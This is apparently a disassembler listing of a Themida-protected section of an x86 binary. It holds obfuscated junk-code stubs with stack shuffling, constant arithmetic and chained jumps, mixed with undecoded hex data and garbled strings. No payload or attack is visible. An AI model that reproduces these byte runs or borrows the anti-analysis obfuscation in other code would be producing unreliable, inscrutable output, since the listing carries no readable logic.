; ---------------------------------------------------------------------------

loc_55494F:				; CODE XREF: Themida_:00559993j
		mov	[esp], edi
		push	esp
		jmp	loc_561159
; ---------------------------------------------------------------------------

loc_554958:				; CODE XREF: Themida_:00562E1Dj
		add	[esp+4], ebp
		push	edi
		mov	edi, 7AA91B1Ah
		jmp	loc_56696E
; ---------------------------------------------------------------------------
		db 59h
		dd 44E2EE81h, 0EE812C88h, 38614362h, 0C681CE01h, 38614362h
		dd 44E2C681h, 51592C88h, 0C1815954h, 4,	0EEBB5350h, 0B83E1954h
		dd 3E1954EAh, 1C8BD831h, 4C48324h, 5036E981h, 5DE97A97h
		dd 2DFFFFF6h, 4, 5C240487h, 68243489h, 1C4Ah, 81242489h
		dd 42404h, 29E90000h, 2D00006Fh, 8E30586Fh, 3158C689h
		dd 52565EF0h, 9BF68h, 24048900h, 298BE9h
		db 0
; ---------------------------------------------------------------------------

loc_5549E5:				; CODE XREF: Themida_:00559467j
		pop	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_565953
; ---------------------------------------------------------------------------
		dd 0FF242C89h, 0FF042474h, 2C8B2434h, 0E6895624h, 4C681h
		dd 0DBE90000h, 52000042h, 4C0DB951h, 0CA890FD2h, 0BD555659h
		dd 49830A59h, 8106EDC1h, 0C977A1E5h, 3C00E934h,	8B660000h
		dd 5457240Ch, 0F94EE9h
		db 0
; ---------------------------------------------------------------------------

loc_554A35:				; CODE XREF: Themida_:00562691j
		mov	[esp], edx
		push	293Ah
		mov	[esp], ebp
		sub	dword ptr [esp], 1B3B43D2h
		pop	edx
		add	edx, 1B3B43D2h
		sub	esp, 4
		mov	[esp], edx
		pop	ebx
		jmp	loc_554843
; ---------------------------------------------------------------------------

loc_554A5D:				; CODE XREF: Themida_:0055BEDEj
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		push	4A9Fh
		jmp	loc_557BB5
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0D5h
		dd 2D806F7Ch, 5CEB727Ch, 6A12E9h, 0E0C15F00h, 895C2D06h
		dd 0F1E97DC9h, 87FFFFE8h, 5A5C2414h, 4C281h, 86E90000h
		db 19h,	1, 0
; ---------------------------------------------------------------------------

loc_554A9F:				; CODE XREF: Themida_:00559F78j
		pop	eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	eax
		jmp	loc_55837D
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0C79Fh, 6805EAC1h, 4865h, 68240C89h, 50A8h
		dd 0BB241C89h, 284C5663h, 0B7C330B9h, 5BD9297Eh, 81D1F749h
		dd 0C13E64E9h, 0EE1810Ch, 0E9581115h, 0FFFFEBE7h, 0FFDCF1E9h
		dd 24248BFFh, 0FFDCE9E9h, 80C181FFh, 15CE811h, 93E953D1h
		dd 8B000122h, 0E952241Ch, 0C251h, 5002EFC0h, 0C78081B4h
		dd 80E700CEh, 0DCE9CEEFh, 58000090h, 4C481h, 1C330000h
		dd 241C3124h, 0E9241C33h, 0DA70h, 24048B66h, 4EC8152h
		dd 54000000h, 0E924048Fh, 0E2CCh, 0AC28AFBDh, 2C815543h
		dd 1D04EA24h, 93E95F30h, 88000067h, 58C588F8h, 81241C8Bh
		dd 4C4h, 25E0E900h, 0E9570000h,	3EDAh
; ---------------------------------------------------------------------------

loc_554B94:				; CODE XREF: Themida_:00561B8Dj
		mov	eax, 0DBA7FE9h
		inc	eax
		and	eax, 4DB96613h
		shr	eax, 8
		shr	eax, 7
		xor	eax, 4E2143D0h
		add	eax, 0E10E4F7h
		add	edx, 2EE91FFDh
		add	edx, eax
		sub	edx, 2EE91FFDh
		pop	eax
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_553886
; ---------------------------------------------------------------------------
aN1SA		db '­1Øé>A',0
		db 0
; ---------------------------------------------------------------------------

loc_554BD5:				; CODE XREF: Themida_:00563AFFj
		add	edx, edi
		pop	edi
		and	ecx, edx
		pop	edx
		shr	ecx, 7
		push	630Bh
		mov	[esp], edi
		mov	edi, 26CA7747h
		sub	edi, 5E462CC0h
		neg	edi
		dec	edi
		push	ecx
		mov	ecx, 1331627Ah
		jmp	loc_5657E1
; ---------------------------------------------------------------------------
		db 0BAh
		dd 7A2D22B5h, 0E95AD001h, 0FFFFEF49h
; ---------------------------------------------------------------------------

loc_554C0C:				; CODE XREF: Themida_:0055663Ej
		mov	dl, ch
		push	ecx
		mov	ch, dl
		jmp	loc_554832
; ---------------------------------------------------------------------------
		dw 3A68h
		dd 8900002Dh, 0B8502434h, 11E72BA2h, 0D7548425h, 0DB50514h
		dd 0C6893333h, 0E9F10958h, 6A98h, 0E6895655h, 0B14AE9h
		db 0
; ---------------------------------------------------------------------------

loc_554C41:				; CODE XREF: Themida_:00559424j
		add	esp, 4
		jmp	loc_55EE1E
; ---------------------------------------------------------------------------

loc_554C49:				; CODE XREF: Themida_:00560C32j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_55DD44
; ---------------------------------------------------------------------------
		db 5Ah,	5Bh, 0E9h
		dd 11C11h, 732C2604h, 7304D800h, 0FF88E9h, 4875B00h, 34FF5C24h
		dd 24148B24h, 412E68h, 24348900h, 0C681E689h, 4, 4BA52h
		dd 0D6010000h, 2434875Ah, 21C2685Ch, 4890000h, 52E08924h
		dd 433BB951h, 0F1811C56h, 40BC14C4h, 0F702E9C1h, 18A8E9D1h
		dd 0C4830000h, 57F80104h, 0F50ECBFh, 98F78111h,	0E96C845Fh
		dd 0FFFFF660h, 9D1C77FFh, 19665866h, 0E99C2404h, 7693h
		dd 815DE901h, 0E422E7E9h, 0C547E97Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554CE6:				; CODE XREF: Themida_:00555121j
		xchg	edx, [esp]
		jmp	loc_55ED50
; ---------------------------------------------------------------------------
		dw 0D146h
		dd 1B951EEh, 310036FEh,	240C8BCEh, 37F7E9h, 50EC0400h
		dd 97C4E9h, 81E38900h, 4C3h, 2C6DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554D16:				; CODE XREF: Themida_:00558034j
		push	edi
		pop	esi
		pop	edi
		not	edi
		jmp	loc_555679
; ---------------------------------------------------------------------------
		dd 0A360C281h, 0EF81BB29h, 7942149Fh, 0C781D729h, 7942149Fh
		dd 52B6E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554D3A:				; CODE XREF: Themida_:0055FA75j
		mov	eax, [esp]
		jmp	loc_56390F
; ---------------------------------------------------------------------------
		dw 565Ch
		dd 4BEh, 17192D00h, 0F0016E9Bh,	9B171905h, 0FF505E6Eh
		dd 58042474h, 8B24048Fh, 0C0092424h, 5835840Fh,	0E9500000h
		dd 126F1h, 685AD101h, 315Dh, 0E9241489h, 2F7h, 0E92434FFh
		dd 81C5h
; ---------------------------------------------------------------------------

loc_554D88:				; CODE XREF: Themida_:00559638j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebp, edx
		jmp	loc_557B6D
; ---------------------------------------------------------------------------

loc_554D96:				; CODE XREF: Themida_:00553C81j
		sub	ebp, eax
		add	ebp, 2BB07C86h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55C6EC
; ---------------------------------------------------------------------------
		db 0BDh
		dd 59F680Ah, 0C9E9D5F7h
		db 18h,	1, 0
; ---------------------------------------------------------------------------

loc_554DB3:				; CODE XREF: Themida_:005559CBj
		mov	ecx, 1D2672AAh
		sub	ecx, 0BF0E20F7h
		mov	ebx, ecx
		pop	ecx
		push	eax
		mov	eax, 1BD54DBAh
		or	ebx, eax
		jmp	loc_556600
; ---------------------------------------------------------------------------
		dw 0CD68h
		dd 89000065h, 8EBB241Ch, 95CF83Fh, 241C8BDDh, 8104C483h
		dd 18684CEDh, 5DE829E6h, 0F2BD5556h, 895ECB76h,	77E95DEEh
		dd 4300007Ch, 265FE381h, 0C381251Fh, 0DE45DFE7h, 8B5BD929h
		dd 0AAE9242Ch
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_554E13:				; CODE XREF: Themida_:00567276j
		push	ecx
		mov	cl, 9Bh
		add	cl, 13h
		dec	cl
		and	cl, 1Eh
		add	cl, 30h
		jmp	loc_55E859
; ---------------------------------------------------------------------------
		dw 0B252h
		dd 3056B1FAh, 24148BD1h, 4A36E9h, 0E99C5000h, 0FFFFD9C2h
		dd 37D168h, 0E351E900h,	0CAFE0000h, 8885F280h, 685AD7h
		dd 28000000h, 3C8A243Ch, 4C48324h, 0E904EC83h, 0B9CCh
		dd 2104C483h, 34FF1C5Fh, 54505B24h, 40558h, 62E90000h
		dd 660000D6h, 53240C8Bh, 0C381E389h, 4,	8704EB83h, 895C241Ch
		dd 12E92404h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_554E97:				; CODE XREF: Themida_:005591C2j
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	eax, 478E2423h
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		push	302F2675h
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 796D02FCh
		add	ecx, 244026A3h
		not	ecx
		and	ecx, 373B088Dh
		add	ecx, 0DDEE0004h
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55AEB6
; ---------------------------------------------------------------------------
		db 35h
		dd 58CA005Bh, 3506E8C1h, 290874DFh, 0C109E9h
		db 0
; ---------------------------------------------------------------------------

loc_554EFD:				; CODE XREF: Themida_:0055998Bj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ecx
		jmp	loc_5603DE
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 124568h, 242C8900h, 0BA52E589h, 4, 0E95AD501h, 3FDh
		dd 4C581h, 0BA520000h, 4, 51E5E9h, 0C896600h, 4EC8124h
		dd 89000000h, 82B3241Ch, 6083E9h
		db 0
; ---------------------------------------------------------------------------

loc_554F4D:				; CODE XREF: Themida_:0056374Ej
		add	bl, 72h
		jmp	loc_55D323
; ---------------------------------------------------------------------------

loc_554F55:				; CODE XREF: Themida_:00559880j
		mov	edi, 57075B12h
		sub	ebx, edi
		jmp	loc_55B170
; ---------------------------------------------------------------------------

loc_554F61:				; CODE XREF: Themida_:0055AEAAj
		pop	esp
		mov	ebp, [esp]
		push	eax
		jmp	loc_557C8E
; ---------------------------------------------------------------------------
aSn_0		db '^)Úén+',0
		dw 8900h
		dd 4832424h, 22E90424h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_554F7F:				; CODE XREF: Themida_:005544F4j
		sub	[esp+4], ebx
		add	dword ptr [esp+4], 658130F2h
		push	ebp
		jmp	loc_55F5F7
; ---------------------------------------------------------------------------
		db 68h,	15h, 44h
		dd 4B5B0F34h, 0D2F7D387h, 0C381D387h, 3D774ED7h, 27E9DD89h
		dd 81000094h, 4C6h, 0EC815600h,	4, 81242489h, 42404h, 348B0000h
		dd 4C48124h, 81000000h,	4C6h, 4EE8100h,	0E9000000h, 0B496h
; ---------------------------------------------------------------------------

loc_554FDC:				; CODE XREF: Themida_:00553042j
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 0Bh
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	3B3Dh
		mov	[esp], edi
		mov	edi, 65111151h
		push	esi
		mov	esi, 0F561C7Ah
		sub	esi, 2C3D45B4h
		push	ecx
		mov	ecx, 2FA75F89h
		jmp	loc_5558A7
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 73h
		dd 117956Bh, 73EB81D3h,	0FF17956Bh, 565A2434h, 0E9515E54h
		dd 0FFFFE131h
; ---------------------------------------------------------------------------

loc_555030:				; CODE XREF: Themida_:0055A351j
		push	4A8Ch
		mov	[esp], ebx
		push	0FFFFh
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	eax
		jmp	loc_55F7A8
; ---------------------------------------------------------------------------
		db 0B6h, 92h, 80h
		dd 81E935F6h, 8B000108h, 85662424h, 9FE99CC8h, 59FFFFD7h
		dd 0C0FFEA80h, 0EC8105EAh, 4, 660E9h, 7AE95C00h, 89000003h
		dd 0BF5753E2h, 7F1A437Ah, 3D50BE56h, 0F68127DFh, 49A845B2h
		dd 0CE814E4Eh, 50EE24EEh, 3B22E9h, 4C18100h, 83000000h
		dd 0C8704E9h, 34895C24h, 81E68924h, 4C6h, 887E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5550B6:				; CODE XREF: Themida_:00557818j
		sub	edx, 349F33C8h
		jmp	loc_566084
; ---------------------------------------------------------------------------

loc_5550C1:				; CODE XREF: Themida_:00555E15j
		not	ebp
		add	ebp, 5D6E9EE5h
		add	ebx, ebp
		jmp	loc_565681
; ---------------------------------------------------------------------------
		dd 0F750E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5550D6:				; CODE XREF: Themida_:00562E49j
		add	esp, 4
		add	esp, 4
		push	6BDCh
		mov	[esp], edi
		push	edx
		mov	edx, esp
		jmp	loc_567429
; ---------------------------------------------------------------------------
		db 81h
		dd 4F7405E9h, 4E94921h,	33000100h, 96E9243Ch, 2D000047h
		dd 2, 5C240487h, 241C8966h, 0F1ACE9h
		db 0
; ---------------------------------------------------------------------------

loc_555115:				; CODE XREF: Themida_:005673B2j
		add	edx, 4
		add	edx, 4
		jmp	loc_554CE6
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0DFA6D9Eh, 0C381EB01h, 0DFA6D9Eh, 5D2434FFh,	81E78957h
		dd 4C7h, 4C78300h, 5C243C87h, 0D268C329h, 8900002Eh, 34E92404h
		db 8, 1, 0
; ---------------------------------------------------------------------------

loc_555157:				; CODE XREF: Themida_:0055D52Fj
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_563D86
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 6A3059B5h, 5FC18141h, 0E9183053h, 69EFh
; ---------------------------------------------------------------------------

loc_555188:				; CODE XREF: Themida_:00559136j
		pop	edi
		add	esp, 4
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, eax
		push	esi
		push	ebx
		mov	ebx, 20B83064h
		mov	esi, 45A2A4EFh
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		inc	esi
		neg	esi
		add	esi, 7D92CCF2h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp]
		jmp	loc_55EC7D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 3EBF5704h, 813DD37Dh, 3C10F0C7h,	5E7C17Ah
		dd 0F3E95053h, 0B80000F3h, 4, 0B709E9h,	0EFF68000h, 0D23AE9h
		dd 2474FF00h, 48F5904h,	24248B24h, 662D68h, 241C8900h
		dd 3E5E68h, 24248900h, 4EC81h, 2EE90000h, 87FFFFE0h, 248B241Ch
		dd 0FD65E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55522E:				; CODE XREF: Themida_:0055AD87j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edx, 0E056692h
		jmp	loc_558C7B
; ---------------------------------------------------------------------------
aRs_0		db 'Ré´Ó',0
		align 2
		dw 0F028h
		dd 0FAE95266h, 33000034h, 34312434h, 40CAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555266:				; CODE XREF: Themida_:00560C5Bj
		mov	edi, 9041AFECh
		sub	edi, eax
		pop	eax
		jmp	loc_55E00D
; ---------------------------------------------------------------------------

loc_555273:				; CODE XREF: Themida_:005653CBj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 26540B70h
		neg	eax
		push	edx
		mov	edx, 29F5143Ah
		or	edx, 49B643F9h
		inc	edx
		jmp	loc_55BBC8
; ---------------------------------------------------------------------------
aBqqB		db 'ïq:¡',0
		db 89h
		dd 6C295FFDh, 815D0824h, 2B042444h, 8104AE0Dh, 3404246Ch
		dd 107F815h, 0E904247Ch, 10BC3h
; ---------------------------------------------------------------------------

loc_5552BC:				; CODE XREF: Themida_:005581EEj
		pop	esp
		mov	[esp], ecx
		jmp	loc_560487
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0F9h
aLSeo		db '‹<$饎',0
		align 10h
		dd 4C481h, 5E90000h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5552DB:				; CODE XREF: Themida_:0055D720j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_565A0E
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0FFDD99E9h, 241C89FFh, 0FFFC9CE9h, 5AE8B9FFh, 0D9F72A1Eh
		dd 6CCCC981h, 69E94FB4h, 10000ABh, 7179E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55530E:				; CODE XREF: Themida_:00565EF5j
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_56116F
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8EFBE9h, 4B85000h, 1000000h,	2C8758C5h, 0C3835C24h
		dd 4EF5E904h, 0C4830000h, 0E1E98104h, 179EC57h,	0E1C181F1h
		dd 8179EC57h, 0A00447C1h, 53565E08h, 5486DBBh, 5BDE8918h
		dd 0EE81DEF7h, 0E7FAB78Fh, 0B4BFE9h, 24348700h,	0F624248Bh
		dd 0B105E9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555376:				; CODE XREF: Themida_:00557E1Fj
		pop	ebx
		push	eax
		jmp	loc_55E7B8
; ---------------------------------------------------------------------------
		db 53h,	56h, 57h
		dd 4B4D64BFh, 0B210E909h, 39BB0000h, 0E92D1F6Ch, 632Ah
; ---------------------------------------------------------------------------

loc_555394:				; CODE XREF: Themida_:00562151j
		xor	al, 13h
		add	dh, al
		pop	eax
		pop	ecx
		mov	bh, dh
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	dl, 93h
		jmp	loc_567C26
; ---------------------------------------------------------------------------

loc_5553AA:				; CODE XREF: Themida_:0055B0E9j
		pop	dx
		sub	al, ch
		sub	al, 0C0h
		push	ebx
		jmp	loc_55AB60
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0EA6A58Ch, 0E3E9CF01h
		db 1Bh,	1, 0
; ---------------------------------------------------------------------------

loc_5553C3:				; CODE XREF: Themida_:0055AEB1j
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_561A04
; ---------------------------------------------------------------------------
		db 59h,	49h, 55h
		dd 58A56851h, 81597C6Dh, 2E85AE9h, 59CD894Eh, 1589E581h
		dd 0C5810A31h, 57C83C58h, 0FFF8E7E9h, 240489FFh, 4B8h
		dd 7EB85000h, 296EB84Eh, 58082444h, 4244401h, 4244481h
		dd 6EB84E7Eh, 8324048Bh, 535D04C4h, 0DB260ABBh,	87DBF726h
		dd 31D2F7D3h, 31DA31D3h, 0FDB951D3h, 31268D37h,	0C38159CBh
		dd 0FFA9EE10h, 50D9ED81h, 0DD01753Ch, 50D9C581h, 815B753Ch
		dd 2C5h, 242C3300h, 33242C31h, 248B242Ch, 0BE0F6624h, 805AE9C8h
		dd 0C7810000h, 6A3C3434h, 81DF0159h, 0FA1032C7h, 3C335B77h
		dd 243C3124h, 0E9243C33h, 1A63h, 8168E5D1h, 89000062h
		dd 0D2BB241Ch, 5163381Fh, 7980E9h, 24343300h, 4EC815Ch
		dd 0E9000000h, 120F4h, 2E6C159h, 2F68E6D1h, 89000032h
		dd 0E8E9243Ch
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5554B7:				; CODE XREF: Themida_:0055A295j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_561DCC
; ---------------------------------------------------------------------------
aBHCbK9ss	db 'ê-HÛcÂ+k±9éè:',0
		dw 8700h
		dd 248B2404h, 9B5E924h,	0F9290001h, 0D09AE9h
		db 0
; ---------------------------------------------------------------------------

loc_5554E9:				; CODE XREF: Themida_:00564A84j
		sub	esi, edx
		mov	edx, [esp]
		jmp	loc_55F9BF
; ---------------------------------------------------------------------------

loc_5554F3:				; CODE XREF: Themida_:00557B80j
		sub	ebp, 6DC33BCh
		jmp	loc_5535BA
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 24348904h, 7AD1E9h, 4BE5600h, 1000000h
		dd 77CDE9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55551A:				; CODE XREF: Themida_:005573B3j
		mov	esi, [esp]
		jmp	loc_55AB1B
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 30B95124h, 0C1604845h, 0C18103E9h, 283F4F25h, 934BE9h
		dd 0DDB35300h, 2CA2EB80h, 0E4F5E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555546:				; CODE XREF: Themida_:00557BB0j
		pop	edx
		jmp	loc_55F5C7
; ---------------------------------------------------------------------------

loc_55554C:				; CODE XREF: Themida_:00559F81j
		sub	bl, dl
		push	eax
		mov	al, 87h
		and	al, 0F6h
		dec	al
		not	al
		shr	al, 1
		push	bx
		mov	bl, 35h
		and	al, bl
		jmp	loc_5540DB
; ---------------------------------------------------------------------------
		dd offset dword_4EE94C+71Ch
		dd 0E28BE900h, 3C870000h, 0EB835C24h, 241C8702h, 6624248Bh
		dd 0E9240489h, 3625h
; ---------------------------------------------------------------------------

loc_555584:				; CODE XREF: Themida_:00557777j
		push	eax
		not	dword ptr [esp]
		jmp	loc_55EFDD
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 41h
		dd 0F75E8577h, 989DE9DEh, 54510000h, 592434FFh,	81E38953h
		dd 4C3h, 4C38100h, 0E9000000h, 1FF1h, 0FE89F729h, 3ED7E9h
		dd 82C6800h, 0C890000h,	712FB924h, 0C5814D18h, 6EF81719h
		dd 0ED81CD29h, 6EF81719h, 81CD0159h, 18712FC5h,	0C581594Dh
		dd 0FFFFFFFFh, 542CE9h
		db 0
; ---------------------------------------------------------------------------

loc_5555ED:				; CODE XREF: Themida_:005558A9j
		sub	ecx, 6ECE1F29h
		shl	ecx, 2
		xor	ecx, 0B5A17405h
		add	esi, 75F70BBEh
		sub	esi, ecx
		sub	esi, 75F70BBEh
		pop	ecx
		sub	esi, 52B834EFh
		add	esi, 0A32ACF67h
		sub	edi, esi
		pop	esi
		push	ebx
		mov	ebx, 56F473C4h
		dec	ebx
		jmp	loc_560FF9
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 3AE2626Bh, 0ED81DD29h, 3AE2626Bh, 5DE8895Bh,	34FFC301h
		dd 0F4FDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555642:				; CODE XREF: Themida_:00558CA0j
		mov	[esp], ecx
		push	ebx
		push	57D63C01h
		jmp	loc_5558BF
; ---------------------------------------------------------------------------
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_55E4E8
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FD3Dh, 4285E681h, 0C6812D34h, 0DAFFBF80h, 0FFD208E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555671:				; CODE XREF: Themida_:00564C49j
		mov	[esp], ecx
		jmp	loc_5527FE
; ---------------------------------------------------------------------------

loc_555679:				; CODE XREF: Themida_:00554D1Bj
		push	esi
		sub	esp, 4
		mov	[esp], edi
		pop	esi
		pop	edi
		xor	[esp], esi
		jmp	loc_55685C
; ---------------------------------------------------------------------------

loc_55568A:				; CODE XREF: Themida_:0055AF5Fj
		pop	esi
		add	ebp, 4
		jmp	loc_5546FD
; ---------------------------------------------------------------------------

loc_555693:				; CODE XREF: Themida_:0055F64Aj
		mov	[esp], eax
		push	14ECh
		mov	[esp], edi
		jmp	loc_564D91
; ---------------------------------------------------------------------------
		db 89h
		dd 31BD242Ch, 0F70BC73Dh, 0CFE581D5h, 4505DE55h, 509BBB53h
		dd 0EB817C83h, 7C83509Ch, 6E9DD29h, 0B800000Fh,	59CF7FF8h
		dd 124F4E9h, 24048900h,	0F8865FB0h, 0F886DFF6h,	0F68FB252h
		dd 0FFEA80D2h, 6ABBE9h
		db 0
; ---------------------------------------------------------------------------

loc_5556E9:				; CODE XREF: Themida_:0055BD6Aj
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	al, 5Bh
		push	ecx
		mov	ch, 0DAh
		not	ch
		neg	ch
		jmp	loc_56517F
; ---------------------------------------------------------------------------
		dw 0D9F6h
		dd 0A7BE9h, 0B9F68100h,	159AF05h, 2434FFF7h, 0BEE9515Eh
		dd 8300002Fh, 0E98104C4h, 7239E3CFh, 53E2C681h,	0CE295FE9h
		dd 53E2EE81h, 0E9595FE9h, 0FFFFE787h
; ---------------------------------------------------------------------------

loc_555740:				; CODE XREF: Themida_:0055EBCCj
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_55D9A2
; ---------------------------------------------------------------------------
aBH		db 'Ëh"=',0
		dw 814Bh
		dd 3F36F6EBh, 0E9DD015Ch, 2ED8h, 9AFAE955h, 0EC830000h
		dd 24348904h, 8904EC83h, 0DDB82404h, 68796715h,	725Eh
		dd 0FF240489h, 815E2434h, 4C4h,	2434FF00h, 2852E958h, 0CF010000h
		dd 243C3359h, 33243C31h, 0DE9243Ch
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5557A7:				; CODE XREF: Themida_:005606E5j
		sub	edx, ebx
		pop	ebx
		jmp	loc_5527FE
; ---------------------------------------------------------------------------
		db 54h
		dd 13E3E95Ah, 0DF010001h, 7BD2C781h, 0EF8142E0h, 4AD245C9h
		dd 4871EF81h, 0E95B622Ch, 0DD01h, 0C2815D58h, 39697703h
		dd 0EA81C229h, 39697703h, 4A92EA81h, 13E93FAEh,	81FFFFD0h
		dd 0D1784EBh, 4EC8101h,	89000000h, 3481241Ch, 6D23E724h
		dd 8CE95D76h
		db 0Ah,	1, 0
; ---------------------------------------------------------------------------

loc_555807:				; CODE XREF: Themida_:00556AD5j
		mov	edx, 30DE0F28h
		add	ebp, edx
		pop	edx
		add	ebp, edx
		jmp	loc_557B08
; ---------------------------------------------------------------------------
		dw 0D028h
		dd 8B668404h, 0E9522414h, 332Ah, 0C581E589h, 4,	30E8B951h
		dd 0F1812F8Ch, 2F8C30ECh, 1CF1ED81h, 0CD293862h, 0EF89E9h
		dd 0C4C28100h, 817FEC0Fh, 0DA4A52C2h, 0BCA0E946h, 0E1890000h
		dd 4C181h, 0BE560000h, 4, 0E95EF129h, 104A2h, 2FEE81h
		dd 0EC83168Dh, 242C8904h, 6B1CE9h, 0BB535100h, 482A2D25h
		dd 2A76CB81h, 0EB815B5Ah, 2F373491h, 1487C381h,	0F3817BACh
		dd 53C17293h, 1EF7EB81h, 74E9C21Dh
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5558A7:				; CODE XREF: Themida_:00555010j
		neg	ecx
		jmp	loc_5555ED
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5F0424h, 315C2404h, 0E3E95AD0h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5558BF:				; CODE XREF: Themida_:0055564Bj
		pop	ebx
		push	ecx
		mov	ecx, 84F794Dh
		push	edx
		mov	edx, 0D64775Ah
		inc	edx
		xor	edx, 7A6E5B1Dh
		push	edi
		mov	edi, 0F81FFB4Ch
		sub	edx, edi
		pop	edi
		jmp	loc_556FF4
; ---------------------------------------------------------------------------
		db 0FEh, 0C3h, 80h
		dd 0CBFE7ECBh, 8840C380h, 83E95BDDh, 810000C2h,	4C6h, 4C68300h
		dd 5C243487h, 1C772159h, 50CCE9h, 0ADEA8100h, 2959617Fh
		dd 0ADC281C2h, 8159617Fh, 0F166D8EAh, 0DBE95863h, 2DFFFFCEh
		dd 63006FD4h, 496E0540h, 0B9513BBCh, 778C09C8h,	5059C801h
		dd 0FFD98FE9h, 4B850FFh, 1000000h, 2AFCE9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55594A:				; CODE XREF: Themida_:00566145j
		sub	eax, 4
		jmp	loc_559F20
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4B7C53F7h, 60EF811Ah, 815FB340h, 21A552F7h, 4A16E9B7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55596A:				; CODE XREF: Themida_:00566B89j
		pop	esi
		jmp	loc_55343F
; ---------------------------------------------------------------------------

loc_555970:				; CODE XREF: Themida_:0055BF74j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55F91C
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2DE95D24h, 89000118h, 74FF241Ch, 8F5B0424h, 0E95C2404h
		dd 16FFh, 4C181h, 0C870000h, 0BC685C24h, 89000031h, 4CB3241Ch
		dd 51E2F380h, 0C58086B5h, 80DDF6AEh, 0A1E94ACDh
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5559BF:				; CODE XREF: Themida_:0055B018j
		mov	ebx, esp
		push	edx
		push	5639h
		mov	[esp], ebx
